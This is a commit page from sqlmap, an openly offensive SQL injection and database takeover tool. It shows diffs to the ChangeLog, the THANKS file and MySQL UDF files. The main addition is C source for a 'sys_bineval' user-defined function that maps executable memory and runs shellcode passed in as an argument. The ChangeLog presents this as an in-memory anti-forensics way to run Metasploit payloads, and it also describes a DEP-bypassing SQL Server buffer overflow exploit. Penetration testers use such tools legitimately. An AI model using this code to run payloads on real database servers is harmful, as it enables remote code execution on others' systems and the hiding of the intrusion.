Skip to content

Commit 89c4389

Browse files
bdamelebdamele
committed
Merged back from personal branch to trunk (svn merge -r846:940 ...)
Changes: * Major enhancement to the Microsoft SQL Server stored procedure heap-based buffer overflow exploit (--os-bof) to automatically bypass DEP memory protection. * Added support for MySQL and PostgreSQL to execute Metasploit shellcode via UDF 'sys_bineval' (in-memory, anti-forensics technique) as an option instead of uploading the standalone payload stager executable. * Added options for MySQL, PostgreSQL and Microsoft SQL Server to read/add/delete Windows registry keys. * Added options for MySQL and PostgreSQL to inject custom user-defined functions. * Added support for --first and --last so the user now has even more granularity in what to enumerate in the query output. * Minor enhancement to save the session by default in 'output/hostname/session' file if -s option is not specified. * Minor improvement to automatically remove sqlmap created temporary files from the DBMS underlying file system. * Minor bugs fixed. * Major code refactoring.
1 parent 458d594 commit 89c4389

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

52 files changed

+1693
-642
lines changed

‎doc/ChangeLog

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,26 @@
1+
sqlmap (0.8-1) stable; urgency=low
2+
3+
* Major enhancement to the Microsoft SQL Server stored procedure
4+
heap-based buffer overflow exploit (--os-bof) to automatically bypass
5+
DEP memory protection.
6+
* Added support for MySQL and PostgreSQL to execute Metasploit shellcode
7+
via UDF 'sys_bineval' (in-memory, anti-forensics technique) as an
8+
option instead of uploading the standalone payload stager executable.
9+
* Added options for MySQL, PostgreSQL and Microsoft SQL Server to
10+
read/add/delete Windows registry keys.
11+
* Added options for MySQL and PostgreSQL to inject custom user-defined
12+
functions.
13+
* Added support for --first and --last so the user now has even more
14+
granularity in what to enumerate in the query output.
15+
* Minor enhancement to save the session by default in
16+
'output/hostname/session' file if -s option is not specified.
17+
* Minor improvement to automatically remove sqlmap created temporary
18+
files from the DBMS underlying file system.
19+
* Minor bugs fixed.
20+
* Major code refactoring.
21+
22+
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> DAY, DD MMM 20YY 10:00:00 +0000
23+
124
sqlmap (0.7-1) stable; urgency=low
225

326
* Adapted Metasploit wrapping functions to work with latest 3.3

‎doc/THANKS

Lines changed: 14 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@ Cesar Cerrudo <cesar@argeniss.com>
2020
sqlmap tree as a contrib library and used to run the stand-alone
2121
payload stager on the target Windows machine as SYSTEM user if the
2222
user wants to perform a privilege escalation attack,
23-
http://www.argeniss.com/research/Churrasco.zip
23+
http://www.argeniss.com/research/TokenKidnapping.pdf
2424

2525
Karl Chen <quarl@cs.berkeley.edu>
2626
for providing with the multithreading patch for the inference
@@ -50,6 +50,11 @@ Dan Guido <dguido@gmail.com>
5050
Adam Faheem <faheem.adam@is.co.za>
5151
for reporting a few bugs
5252

53+
James Fisher <www@sittinglittleduck.com>
54+
for providing me with two very good feature requests
55+
for his great tool too brute force directories and files names on
56+
web/application servers, Dir Buster, http://tinyurl.com/dirbuster
57+
5358
Jim Forster <jimforster@goldenwest.com>
5459
for reporting a bug
5560

@@ -70,6 +75,7 @@ Ivan Giacomelli <truemilk@insiberia.net>
7075
for reviewing the documentation
7176

7277
Oliver Gruskovnjak <oliver.gruskovnjak@gmail.com>
78+
for reporting a bug
7379
for providing me with a minor patch
7480

7581
Davide Guerri <d.guerri@caspur.it>
@@ -108,10 +114,13 @@ Nicolas Krassas <krasn@ans.gr>
108114
for reporting a bug
109115

110116
Guido Landi <lists@keamera.org>
117+
for reporting a couple of bugs
111118
for the great technical discussions
112119
for Microsoft SQL Server 2000 and Microsoft SQL Server 2005
113120
'sp_replwritetovarbin' stored procedure heap-based buffer overflow
114-
(MS09-004) exploit development, http://www.milw0rm.com/author/1413
121+
(MS09-004) exploit development
122+
for presenting with me at SOURCE Conference 2009 in Barcelona (Spain)
123+
on September 21, 2009
115124

116125
Lee Lawson <Lee.Lawson@dns.co.uk>
117126
for reporting a minor bug
@@ -153,6 +162,9 @@ John F. Reiser <sales@bitwagon.com>
153162
Antonio Parata <s4tan@ictsc.it>
154163
for providing me with some ideas for the PHP backdoor
155164

165+
Adrian Pastor <ap@gnucitizen.org>
166+
for donating to sqlmap development
167+
156168
Chris Patten <cpatten@sunera.com>
157169
for reporting a bug in the blind SQL injection bisection algorithm
158170

‎extra/mysqludfsys/lib_mysqludf_sys/linux/Makefile

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -3,4 +3,4 @@ LIBDIR=/usr/lib
33
install:
44
gcc -Wall -I/usr/include/mysql -O1 -shared src/lib_mysqludf_sys.c -o so/lib_mysqludf_sys.so
55
strip -sx so/lib_mysqludf_sys.so
6-
cp -f so/lib_mysqludf_sys.so $(LIBDIR)/lib_mysqludf_sys.so
6+
sudo cp -f so/lib_mysqludf_sys.so $(LIBDIR)/lib_mysqludf_sys.so

‎extra/mysqludfsys/lib_mysqludf_sys/linux/lib_mysqludf_sys.sql

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -25,9 +25,11 @@ DROP FUNCTION IF EXISTS sys_get;
2525
DROP FUNCTION IF EXISTS sys_set;
2626
DROP FUNCTION IF EXISTS sys_exec;
2727
DROP FUNCTION IF EXISTS sys_eval;
28+
DROP FUNCTION IF EXISTS sys_bineval;
2829

2930
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
3031
CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';
3132
CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';
3233
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
3334
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
35+
CREATE FUNCTION sys_bineval RETURNS int SONAME 'lib_mysqludf_sys.so';

‎extra/mysqludfsys/lib_mysqludf_sys/linux/so/lib_mysqludf_sys.so

4 KB
Binary file not shown.

‎extra/mysqludfsys/lib_mysqludf_sys/linux/src/lib_mysqludf_sys.c

Lines changed: 126 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -23,6 +23,9 @@
2323
#define DLLEXP __declspec(dllexport)
2424
#else
2525
#define DLLEXP
26+
#include <sys/types.h>
27+
#include <sys/wait.h>
28+
#include <unistd.h>
2629
#endif
2730

2831
#ifdef STANDARD
@@ -191,6 +194,33 @@ char* sys_eval(
191194
, char *error
192195
);
193196

197+
/**
198+
* sys_bineval
199+
*
200+
* executes bynary opcodes.
201+
* Beware that this can be a security hazard.
202+
*/
203+
DLLEXP
204+
my_bool sys_bineval_init(
205+
UDF_INIT *initid
206+
, UDF_ARGS *args
207+
);
208+
209+
DLLEXP
210+
void sys_bineval_deinit(
211+
UDF_INIT *initid
212+
);
213+
214+
DLLEXP
215+
int sys_bineval(
216+
UDF_INIT *initid
217+
, UDF_ARGS *args
218+
);
219+
220+
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
221+
DWORD WINAPI exec_payload(LPVOID lpParameter);
222+
#endif
223+
194224

195225
#ifdef __cplusplus
196226
}
@@ -216,10 +246,12 @@ my_bool lib_mysqludf_sys_info_init(
216246
}
217247
return status;
218248
}
249+
219250
void lib_mysqludf_sys_info_deinit(
220251
UDF_INIT *initid
221252
){
222253
}
254+
223255
char* lib_mysqludf_sys_info(
224256
UDF_INIT *initid
225257
, UDF_ARGS *args
@@ -250,10 +282,12 @@ my_bool sys_get_init(
250282
return 1;
251283
}
252284
}
285+
253286
void sys_get_deinit(
254287
UDF_INIT *initid
255288
){
256289
}
290+
257291
char* sys_get(
258292
UDF_INIT *initid
259293
, UDF_ARGS *args
@@ -305,13 +339,15 @@ my_bool sys_set_init(
305339
}
306340
return 0;
307341
}
342+
308343
void sys_set_deinit(
309344
UDF_INIT *initid
310345
){
311346
if (initid->ptr!=NULL){
312347
free(initid->ptr);
313348
}
314349
}
350+
315351
long long sys_set(
316352
UDF_INIT *initid
317353
, UDF_ARGS *args
@@ -352,10 +388,12 @@ my_bool sys_exec_init(
352388
return 1;
353389
}
354390
}
391+
355392
void sys_exec_deinit(
356393
UDF_INIT *initid
357394
){
358395
}
396+
359397
my_ulonglong sys_exec(
360398
UDF_INIT *initid
361399
, UDF_ARGS *args
@@ -382,10 +420,12 @@ my_bool sys_eval_init(
382420
return 1;
383421
}
384422
}
423+
385424
void sys_eval_deinit(
386425
UDF_INIT *initid
387426
){
388427
}
428+
389429
char* sys_eval(
390430
UDF_INIT *initid
391431
, UDF_ARGS *args
@@ -422,5 +462,90 @@ char* sys_eval(
422462
return result;
423463
}
424464

465+
my_bool sys_bineval_init(
466+
UDF_INIT *initid
467+
, UDF_ARGS *args
468+
){
469+
return 0;
470+
}
471+
472+
void sys_bineval_deinit(
473+
UDF_INIT *initid
474+
){
475+
476+
}
477+
478+
int sys_bineval(
479+
UDF_INIT *initid
480+
, UDF_ARGS *args
481+
){
482+
int32 argv0_size;
483+
size_t len;
484+
485+
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
486+
int pID;
487+
char *code;
488+
#else
489+
int *addr;
490+
size_t page_size;
491+
pid_t pID;
492+
#endif
493+
494+
argv0_size = strlen(args->args[0]);
495+
len = (size_t)argv0_size;
496+
497+
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
498+
// allocate a +rwx memory page
499+
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
500+
strncpy(code, args->args[0], len);
501+
502+
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
503+
#else
504+
pID = fork();
505+
if(pID<0)
506+
return 1;
507+
508+
if(pID==0)
509+
{
510+
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
511+
page_size = (len+page_size) & ~(page_size); // align to page boundary
512+
513+
// mmap an rwx memory page
514+
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
515+
516+
if (addr == MAP_FAILED)
517+
return 1;
518+
519+
strncpy((char *)addr, args->args[0], len);
520+
521+
((void (*)(void))addr)();
522+
}
523+
524+
if(pID>0)
525+
waitpid(pID, 0, WNOHANG);
526+
#endif
527+
528+
return 0;
529+
}
530+
531+
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
532+
DWORD WINAPI exec_payload(LPVOID lpParameter)
533+
{
534+
__try
535+
{
536+
__asm
537+
{
538+
mov eax, [lpParameter]
539+
call eax
540+
}
541+
}
542+
__except(EXCEPTION_EXECUTE_HANDLER)
543+
{
544+
545+
}
546+
547+
return 0;
548+
}
549+
#endif
425550

426-
#endif /* HAVE_DLOPEN */
551+
#endif /* HAVE_DLOPEN */

‎extra/mysqludfsys/lib_mysqludf_sys/windows/dll/lib_mysqludf_sys.dll

0 Bytes
Binary file not shown.

‎extra/mysqludfsys/lib_mysqludf_sys/windows/lib_mysqludf_sys.sql

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -25,9 +25,11 @@ DROP FUNCTION IF EXISTS sys_get;
2525
DROP FUNCTION IF EXISTS sys_set;
2626
DROP FUNCTION IF EXISTS sys_exec;
2727
DROP FUNCTION IF EXISTS sys_eval;
28+
DROP FUNCTION IF EXISTS sys_bineval;
2829

2930
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.dll';
3031
CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.dll';
3132
CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.dll';
3233
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.dll';
3334
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.dll';
35+
CREATE FUNCTION sys_bineval RETURNS int SONAME 'lib_mysqludf_sys.dll';

0 commit comments

Comments
 (0)